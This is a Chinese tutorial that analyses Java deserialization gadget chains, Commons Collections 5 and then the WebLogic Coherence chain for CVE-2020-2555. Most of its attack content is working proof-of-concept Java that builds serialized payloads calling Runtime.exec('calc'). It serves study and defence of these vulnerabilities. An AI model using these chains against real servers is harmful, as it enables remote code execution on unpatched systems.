学习调试 JAVA 反序列化漏洞入门案例

  • A+
所属分类:安全文章

本文作者:Z1NG(信安之路核心成员)

本文以 Commons Collections5 利用链进行学习,进而分析近期公开的 CVE-2020-2555。作为学习调试 JAVA 反序列化漏洞入门的第一步吧。

漏洞最终点 InvokerTransformer 的 transform 方法

省略部分代码,大概如下

public Object transform(Object input)                Class cls = input.getClass();                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);                return method.invoke(input, this.iArgs);

首先使用 getClass 的方式得到一个类对象,再根据这个类对象获取我们想要的方法,最终调用 invoke 方法来反射执行该方法。其中 this.iMethodName, this.iParamTypes, this.iArgs 这些都在构造函数之中被赋值,因此当我们实例化一个 InvokerTransformer 的对象时,这些参数皆可控。构造函数代码如下

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        this.iMethodName = methodName;        this.iParamTypes = paramTypes;        this.iArgs = args;    }

如下代码,使用 transform 方法来完成 RCE。

try {            String className = "org.apache.commons.collections.functors.InvokerTransformer";            //获取一个InvokerTransformer类            Class invoketransformer = Class.forName(className);            //获取构造函数            Constructor constructor[] = invoketransformer.getDeclaredConstructors();            //runtime的 exec方法            String runmethod = "exec";            String cmd = "calc";            //获取runtime类            String runtimeClassname = "java.lang.Runtime";            Class runtimeClass = Class.forName(runtimeClassname);            Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();            System.out.print(runtimeConstructor);            runtimeConstructor.setAccessible(true);            //获取到了runtime对象            Object runtime = runtimeConstructor.newInstance();            //然后开始实例化InvokerTransformer 第一个参数为runtime的exec方法名,第二个参数为exec方法的参数类型,第三个参数为exec的执行参数            Object inf = constructor[1].newInstance(runmethod,new Class[]{String.class},new Object[] {cmd});            System.out.print(inf);            Method itransform= inf.getClass().getDeclaredMethod("transform",Object.class);            itransform.invoke(inf,runtime);            //首先得获得一个runtime类,然后根据这个类拿到runtime对象,        }catch(Exception e) {            System.out.print(e);        }

学习调试 JAVA 反序列化漏洞入门案例

上述的代码流程大致如下,使用了反射的方式来引入 InvokerTransformer 类,但其实是没有必要的。而使用反射引入 Runtime 类则是有必要的。接着实例化 InvokerTransformer 和 Runtime,用通过 InvokerTransformer 的构造函数,来控制 Runtime 对象要执行的方法和所需的参数,也就是 exec 方法以及参数 calc。当 Runtime 被传入 transfrom 方法后,则会弹出计算器。

为什么 InvokerTransformer 类不需要反射引入而 Runtime 类需要?其实这个问题很简单,所有类都需要加载进程序运行的上下文环境之中才可以得到执行,由于 Runtime 类并没有在这个包里被引入,而 InvokerTransformer 借助于框架的运行机制,能够顺利的引入程序运行的上下文环境,因此不需要再以反射的方式获取。正如在分析 ThinkPHP 的反序列化利用链一样,得益于 ThinkPHP 的自动加载机制,可以自动引入未引入的类文件,这样在构造利用链时,就不用太多考虑哪些类无法使用的情况。但其他情况下也不可忽视类未进入程序上下文环境的问题。

解决引入 Runtime 类对象的问题

上文提及通 transform 来调用 Runtime 对象的 exec 方法达成 RCE。可实际上,我们目前无法向程序注入一个 Runtime 类的对象。在 ChainedTransformer 类中的 transform,提供了一个注入 Runtime 对象的机会。构造函数和 transform 方法代码如下:

public ChainedTransformer(Transformer[] transformers) {        this.iTransformers = transformers;    }    public Object transform(Object object) {        for(int i = 0; i < this.iTransformers.length; ++i) {            object = this.iTransformers[i].transform(object);        }

可以控制 this.iTransformers 的值,并且每一次 transform 的返回值都会传入下一次的 transform 之中,可以构造出一种链式的调用。我需要透过 ChainedTransformer 的 transform 构造如下的一个链,才能完成 RCE

Runtime.class.getMethod("getRuntime").invoke(*null*).exec("calc");

那么 transformers[0] 的值就是要为 Runtime.class,transformers[1] 的值就是要为getMethod("getRuntime")。当通过反射执行完 getRuntime 方法时,此时会就得到一个 Runtime 类的对象。而 Runtime.class 的目的是为了加载进这个类,也就是获取 Class 对象。

获取 Class 对象

Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象,通常我们有如下几种方式获取一个类的 Class 对象:

类名.class,如: com.anbai.sec.classloader.TestHelloWorld.class

Class.forName("com.anbai.sec.classloader.TestHelloWorld")。

classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");

根据上述,可以构造出 transform 的结构如下:

Transformer[] transformers = new Transformer[]{                    // 获取Runtime类对象                    new ConstantTransformer(Runtime.class),                    // 获取到getRuntime方法                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                    //执行getRuntime方法来获取一个Runtime类的对象                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                    // 最终调用exec("calc")                    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})            };

其中,ConstantTransformer 的构造函数和 transform 方法如下:

public ConstantTransformer(Object constantToReturn) {        this.iConstant = constantToReturn;    }    public Object transform(Object input) {        return this.iConstant;   //return Runtime.class    }

如上代码,很好的提供了引入 Runtime.class 类对象的机会。最终通过 ChainedTransformer 类执行 RCE 的代码如下:

try{            Transformer[] transformers = new Transformer[]{                    // 传入Runtime类                    new ConstantTransformer(Runtime.class),                    // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                    // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                    // 调用exec("calc")                    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})            };            ChainedTransformer obj = new ChainedTransformer(transformers);            obj.transform(null);        }catch (Exception e){            System.out.print(e);       }

值得一提的是,如下代码中有一个 new Class[0],如果没有传入一个这个空对象,这会报找不到 getMethod 的异常。传入这样的数据是为了满足 getMethod 的形参列表才能正确获取

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})

回溯-引入调用链

上文已经成功的构造了,一个能够执行 RCE 操作的利用链,其中最重要的是通过链式调用引入了 Runtime 的对象。现在需要回溯,找到一个地方调用 ChainedTransformer 的 transform 方法。

方法一

在 TransformedMap 中,存在如下代码:

protected Object transformValue(Object object) {        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);    }

如果可以控制 this.valueTransformer 的值为 ChainedTransformer,那就 OK 了。

 public Object put(Object key, Object value) {        key = this.transformKey(key);        value = this.transformValue(value);        return this.getMap().put(key, value);    }

其中在 put 方法调用了 transformValue 方法。构造函数如下,显然可以通过实例化 TransformeMap 来控制 this.valueTransformer 的值:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {        super(map);        this.keyTransformer = keyTransformer;        this.valueTransformer = valueTransformer;

而实例化需要使用如下的静态方法:

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {        return new TransformedMap(map, keyTransformer, valueTransformer);    }

其中根据传参列表的要求,第一个参数需要是 Map,而这是一个接口需要寻找实现了这个接口的类,如 IdentityMap、hashedMap 都可以,根据上述代码,我们可以构造如下代码:

 Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new IdentityMap();        Map  tansformedmap= TransformedMap.decorate(map,null,chainedTransformer);        tansformedmap.put('a','a');

在调用 put 函数时,则触发了 ChainedTransformer 的 transform。不单单是 put,setValue 也会触发,此时可以是调用代理类,来执行 Map 接口的 Transformer 方法,触发序列化。 

sun.reflect.annotation.AnnotationInvocationHandler 类实现了 java.lang.reflect.InvocationHandler (Java 动态代理)接口和 java.io.Serializable 接口,它还重写了 readObject 方法,在 readObject 方法中还间接的调用了 TransformedMap中MapEntry 的 setValue 方法,从而也就触发了 transform 方法,完成了整个攻击链的调用。 

map.put("value", "value");

使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象:

Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

获取 AnnotationInvocationHandler 类对象:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

获取 AnnotationInvocationHandler 类的构造方法

Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

设置构造方法的访问权限

constructor.setAccessible(true);

创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于:

Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);

Object instance = constructor.newInstance(Target.class, transformedMap);

方法二

//省略        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);            Map map = new IdentityMap();        Map lazyMap = LazyMap.decorate(map,chainedTransformer);        lazyMap.get('a');

如上所示,可以通过 lazyMap 中的 get 触发。是可以控制 this.factory 为 ChainedTransformer 对象。

public Object get(Object key) {        if (!super.map.containsKey(key)) {            Object value = this.factory.transform(key);            super.map.put(key, value);            return value;        } else {            return super.map.get(key);        }    }

可以看到 TiedMapEntry 类中 getValue 调用了 get 方法,并且可以控制 map 参数。toString 调用了 getValue 方法,回溯 toString 方法。 

public TiedMapEntry(Map map, Object key) {        this.map = map;        this.key = key;    }    public Object getValue() {        return this.map.get(this.key);    }    public String toString() {        return this.getKey() + "=" + this.getValue();    }

可以找到 BadAttributeValueExpException,可以执行任意类的 toString,其构造函数如下:

public BadAttributeValueExpException (Object val) {        this.val = val == null ? null : val.toString();    }

当我们实例化的这个类,并且传入一个 TiedMapEntry 类的对象时,则可以触发 RCE。但在反序列化的时候,是无法控制构造函数的传参,此时我们能做的只是通过反射来构造一个 BadAttributeValueExpException 对象,并且将里面的各项属性赋予我们所需要的值。真正的触发点则是要在 readObject 的时候反序列化而触发这个链。原因在于 readObject 在序列化时被调用,而其中可以通过反射来控制 val 属性的值达到执行 TiedMapEntry 类的 toString 的目的。最终完成 RCE:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {        ObjectInputStream.GetField gf = ois.readFields();        Object valObj = gf.get("val", null);        if (valObj == null) {            val = null;        } else if (valObj instanceof String) {            val= valObj;        } else if (System.getSecurityManager() == null                || valObj instanceof Long                || valObj instanceof Integer                || valObj instanceof Float                || valObj instanceof Double                || valObj instanceof Byte                || valObj instanceof Short                || valObj instanceof Boolean) {            val = valObj.toString();        } else { // the serialized object is from a version without JDK-8019292 fix            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();        }

于是,最终的 POC 如下:

public static void TestMap(){        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);            Map map = new IdentityMap();        Map lazyMap = LazyMap.decorate(map,chainedTransformer);        TiedMapEntry entry = new TiedMapEntry(lazyMap,1);        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);        try {            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");            field.setAccessible(true);            field.set(badAttributeValueExpException, entry);            Test.searialize(badAttributeValueExpException);        }catch (Exception e){        }    }

这就是 ysoserial 中的 CommonsCollections5。

Weblogic cve-2020-2555 反序列化

前段时间出了 Weblogic 的反序列化利用的具体详情,实质上是 Weblogic 中的 Coherence.jar 出现的问题,在学习的时候可以只引入 jar 包即可,不需要整体安装 weblogic。跟进之后发现整体利用方式和 CommonsCollections5 的利用方式比较像。具体分析如下:

在 ReflectionExtractor.class 中存在如下代码,显然以反射的方式动态执行。想要执行任意函数需要控制 method,oTarget 和 this.m_aoParam,从构造函数来看,上述参数皆可控:

public ReflectionExtractor(String sMethod, Object[] aoParam, int nTarget) {        azzert(sMethod != null);        this.m_sMethod = sMethod;        this.m_aoParam = aoParam;        this.m_nTarget = nTarget;    }    public E extract(T oTarget) {        if (oTarget == null) {            return null;        } else {            Class clz = oTarget.getClass();            try {                Method method = this.m_methodPrev;                if (method == null || method.getDeclaringClass() != clz) {                    this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);                }                return method.invoke(oTarget, this.m_aoParam);

如下代码举例使用 ReflectionExtractor 进行任意代码执行。注意,此处是手动生成了一个 Runtime 对象传入,但在实际利用中,此处无法直接注入一个 Runtime 对象:

Runtime runtime = Runtime.getRuntime();        Object[] cmd = {new String("calc"),null};        ReflectionExtractor RelfE = new ReflectionExtractor("exec",cmd,1);        RelfE.extract(runtime);

回顾 CC5 利用链,存在一处链式调用。在此处也存在类似的代码:

public E extract(Object oTarget) {        ValueExtractor[] aExtractor = this.getExtractors();        int i = 0;        for(int c = aExtractor.length; i < c && oTarget != null; ++i) {            oTarget = aExtractor[i].extract(oTarget);        }        return oTarget;

和 CC5 一样,同样以链式调用的方式返回一个 oTarget,那我们的目标就是在此处生成 Runtime.class.getMethod("Runtime").invoke(null).exec(),使用 ChainedExtractor 进行链式调用的构造,显然我们可以通过 ReflectionExtractor 数组构造出 getMethod("Runtime").invoke(null).exec() 这部分,但是还得手动注一个 Runtime.class 才可以构造完整:

ReflectionExtractor[] ref1 = {                new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]}),                new ReflectionExtractor("invoke",new Object[]{null,new Class[0]}),                new ReflectionExtractor("exec",new Object[]{"calc",null})        };        ChainedExtractor ce = new ChainedExtractor(ref1);

根据序列化的特点,可以生产一个 ChainedExtractor 对象,且将各项属性进行设置关键点,如何在此处注入一个 Runtime.class:

ce.extract(Runtime.class);

于是回溯,LimitFilter 类中,toString 方法。会执行 ValueExtractor 的 extractor 方法,而 ValueExtractor 是个接口,上诉的 ChainedExtractor 和 ReflectionExtractor 都实现了这个接口。并且,可以控制 this.m_oAnchorTop 的值,因此我们在此可以注入一个 Runtime.class,这样就完整构造出了 Runtime.class.getMethod("Runtime").invoke(null).exec()

public String toString() {        StringBuilder sb = new StringBuilder("LimitFilter: (");        sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);        if (this.m_comparator instanceof ValueExtractor) {            ValueExtractor extractor = (ValueExtractor)this.m_comparator;            sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));        } else if (this.m_comparator != null) {            sb.append(", comparator=").append(this.m_comparator);        }

如下代码是使用 LimitFilter的toString 方法做到代码执行

 //省略部分构造        LimitFilter limitFilter = new LimitFilter();        limitFilter.setTopAnchor(Runtime.class);        limitFilter.setComparator(ce);        limitFilter.toString();

还记得 CC5 链里的 BadAttributeValueExpException 吗?此类重写了 readObject 方法,可以执行任意类的 toString 方法。所以,利用代码如下:

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);        try {            Field val = badAttributeValueExpException.getClass().getDeclaredField("val");            val.setAccessible(true);            val.set(badAttributeValueExpException,limitFilter);            POC.S(badAttributeValueExpException);        }catch (Exception e){}

利用效果如图

学习调试 JAVA 反序列化漏洞入门案例

学习调试 JAVA 反序列化漏洞入门案例

本文始发于微信公众号(信安之路):学习调试 JAVA 反序列化漏洞入门案例

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: